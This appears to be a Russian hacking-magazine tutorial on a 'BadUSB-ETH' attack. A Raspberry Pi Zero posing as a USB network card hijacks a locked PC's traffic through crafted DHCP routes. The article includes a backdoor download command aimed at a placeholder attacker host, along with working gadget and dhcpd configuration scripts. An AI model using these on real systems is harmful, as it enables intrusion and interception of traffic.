Содержание статьи
Windows, Linux и macOS по умолчанию умеют автоматически без участия пользователя опознавать определенные USB-устройства как сетевые карты Ethernet. И, что важно, это может происходить даже на заблокированных ПК. Именно эта особенность и дает возможность реализовать атаку, о которой я расскажу в сегодняшней статье. Этот подвид BadUSB-атак заключается в том, что подключаемое к порту USB устройство представляется сетевой картой. Однако совсем непростой сетевой картой... Но обо всем по порядку.
Что отличает эту атаку от BadUSB-HID? Главное отличие в том, что рассматриваемую атаку можно реализовать на заблокированном компьютере. Кроме того, для проведения такой атаки не требуется скрытное и длительное подключение какого‑либо девайса, она позволяет атаковать цель за несколько минут. Ведь если ПК разблокирован, то можно реализовать более простую и действенную атаку из предыдущей статьи или просто набрать на клавиатуре команду скачивания и запуска бэкдора:
msiexec /i https://attacker.tk/backdoor.msi
В итоге на «ручную» компрометацию оставленной без присмотра разблокированной персоналки потребуется всего три‑четыре секунды! Компьютеры сегодня повсюду, и торчащие наружу USB-порты можно увидеть достаточно часто.

Объектом атаки может стать заблокированный компьютер, оставленный без присмотра на короткое время, либо терминал, либо стенд с торчащим наружу USB-портом.
info
Эта статья — часть серии публикаций о практических приемах взлома и атак с использованием подручных устройств, которые можно собрать дома. В этих материалах мы раскрываем простые способы получения несанкционированного доступа к защищенной информации и показываем, как ее оградить от подобных атак. Предыдущая статья серии: «Очень плохая флешка. Разбираем атаку BadUSB в деталях».
Теория
Подключаемое устройство BadUSB-ETH определяется как сетевая карта Еthernet. На самом деле это не просто сетевая карта, а устройство, внутри которого полноценный компьютер со своей ОС. И мы реализуем достаточно хитрую цепочку из множества атак. По сути, это собственная, более узко заточенная реализация Bash Bunny от Hak5. А за основу мы возьмем открытый проект PoisonTap.
Первое и самое главное — это то, как мы настраиваем сеть на атакуемой машине. В момент подключения интерфейс именно создается, а не поднимается. Это значит, что сразу после подключения ПК запросит настройки по DHCP (дефолтное поведение). В ответ на такой запрос наше устройство выдает не совсем обычную конфигурацию сети, при которой она станет приоритетной и перекроет все активные сетевые подключения на атакуемом компьютере. Достигается это через более короткие маски маршрутов:
0.0.0.0/0 via 10.10.0.1 <- исходный дефолтный маршрут, все пакеты изначально идут по нему
0.0.0.0/1 via 1.0.0.1 <- наш маршрут, перекрывающий первые 50% IPv4-сетей
128.0.0.0/1 via 1.0.0.1 <- второй маршрут, перекрывающий вторые 50% IPv4-сетей (маска короче, поэтому маршрут приоритетнее)
Во всех современных ОС маршрутизация в IP-сетях строится по единому принципу: чем короче маска сети у маршрута, тем приоритетнее маршрут. Это главное правило маршрутизации. И в нашем случае маска /
чуть короче маски /
дефолтного маршрута.
После применения таких настроек нового сетевого подключения все пакеты от других сетевых интерфейсов пойдут по новому маршруту — уже в наше хакерское устройство, и мы как бы «вытянем» весь трафик. Таким образом, мы сможем реально перехватывать весь сетевой трафик заблокированного устройства посредством обычного USB. Схематично атака представлена на рисунке ниже.

Не стоит забывать, что мы установили и обычный сетевой канал взаимодействия с заблокированным ПК. Учитывая это, на целевой машине может быть запущен целый спектр сетевых атак, который зависит лишь от твоей фантазии:
- NetBIOS Poisoning (Hash leak);
- MS17-010, BlueKeep, PrintNightmare;
- Bruteforce;
- сканирование портов, скриншоты RDP/WWW и сбор прочих сведений.
Наконец, наше устройство является еще и «супершлюзом», поскольку сетевой трафик, включая и смежные сетевые интерфейсы, идет теперь через него. Находясь в позиции «легального MITM», мы можем запустить еще ряд атак, предназначенных для перехвата трафика:
- Cookie Siphoning (выкачивание cookie в redirect-цикле перебора сайтов по словарю);
- WebCache Poisoning (внедрение js-backdoor в скачиваемые JavaScript);
- Insecure Updates (сигнал популярному ПО обновиться и отправка backdoor);
- Passive Sniffing (FTP, SMTP, SMB, HTTP, etc).
Реализация
Устройство может быть реализовано на базе множества одноплатных решений. Наиболее легковесное и известное среди них — Raspberry Pi Zero (W). Эта плата не потребует дополнительного питания, необходимое напряжение берется от USB-порта компьютера. С целью индикации хода атак для простоты используем три светодиода со следующими ролями:
- зеленый (INFO) — ПК определил наш девайс как сетевую карту Ethernet, и поднялась сеть;
- желтый (WARNING) — утечка NetNTLM-хеша или иной чувствительной информации;
- красный (CRITICAL) — обнаружена RCE, подобран пароль и тому подобное.
Большинство одноплатных ПК снабжены GPIO-пинами, с помощью которых можно подавать небольшое напряжение, необходимое для работы светодиодов.

Соответственно, чтобы зажечь, а потом погасить светодиод, подключенный, например, к 26-му пину, потребуется выполнить следующие команды ОС внутри платы:
raspi-gpio set 26 op dh
sleep 1
raspi-gpio set 26 op dl
Эмуляция Ethernet-устройства, как и эмуляция других видов USB-девайсов, поддерживается непосредственно ядром Linux через так называемые USB-гаджеты. Очень красиво такую атаку продемонстрировал Сами Камкар (Sami Kamkar) в проекте под названием PoisonTap:
git clone https://github.com/samyk/poisontap
ln -s ~/poisontap /opt/poisontap
Именно этот инструмент взят за основу, особенно в эмуляции сетевой карты, но с некоторыми улучшениями:
/home/pi/poisontap/pi_startup.sh
rmmod g_ether
cd /sys/kernel/config/usb_gadget/
mkdir -p poisontap
cd poisontap
echo 0x0694 > idVendor
echo 0x0005 > idProduct
mkdir -p strings/0x409
echo "Samy Kamkar" > strings/0x409/manufacturer
echo "PoisonTap" > strings/0x409/product
# RNDISmkdir configs/c.2
echo "0xC0" > configs/c.2/bmAttributes
echo "1" > configs/c.2/MaxPower
mkdir configs/c.2/strings/0x409
echo "RNDIS" > configs/c.2/strings/0x409/configuration
echo "1" > os_desc/use
echo "0xcd" > os_desc/b_vendor_code
echo "MSFT100" > os_desc/qw_sign
mkdir functions/rndis.usb0
echo "42:61:64:55:53:45" > functions/rndis.usb0/dev_addr
echo "48:6f:73:74:50:44" > functions/rndis.usb0/host_addr
echo "RNDIS" > functions/rndis.usb0/os_desc/interface.rndis/compatible_id
echo "5162001" > functions/rndis.usb0/os_desc/interface.rndis/sub_compatible_id
ln -s functions/rndis.usb0 configs/c.2
ln -s configs/c.2 os_desc
ls /sys/class/udc > UDC
modprobe g_ether
sleep 10
ifup usb0
ifconfig usb0 up
/sbin/route add -net 0.0.0.0/0 usb0
/etc/init.d/isc-dhcp-server restart
/sbin/sysctl -w net.ipv4.ip_forward=1
#/sbin/iptables -t nat -A PREROUTING -i usb0 -p tcp --dport 80 -j REDIRECT --to-port 1337#/usr/bin/screen -dmS dnsspoof /usr/sbin/dnsspoof -i usb0 port 53#/usr/bin/screen -dmS node /usr/bin/nodejs /home/pi/poisontap/pi_poisontap.jsiptables -t nat -A POSTROUTING -o usb0 -j MASQUERADE
Поскольку атака кросс‑платформенная, требуется настройка эмуляции сразу двух составных USB-устройств: для сетевых карт RNDIS (Windows) и CDC (Unix). Перекрытие сетевых интерфейсов задается в файле dhcpd.
:
/etc/dhcp/dhcpd.conf
subnet 0.0.0.0 netmask 128.0.0.0 { range 1.0.0.10 1.0.0.50; option broadcast-address 255.255.255.255; option routers 1.0.0.1; default-lease-time 600; max-lease-time 7200; option domain-name "local"; option domain-name-servers 1.0.0.1;# send the routes for both the top and bottom of the IPv4 address space option classless-routes 1,0, 1,0,0,1, 1,128, 1,0,0,1; option classless-routes-win 1,0, 1,0,0,1, 1,128, 1,0,0,1;}
Присоединяйся к сообществу «Xakep.ru»!
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее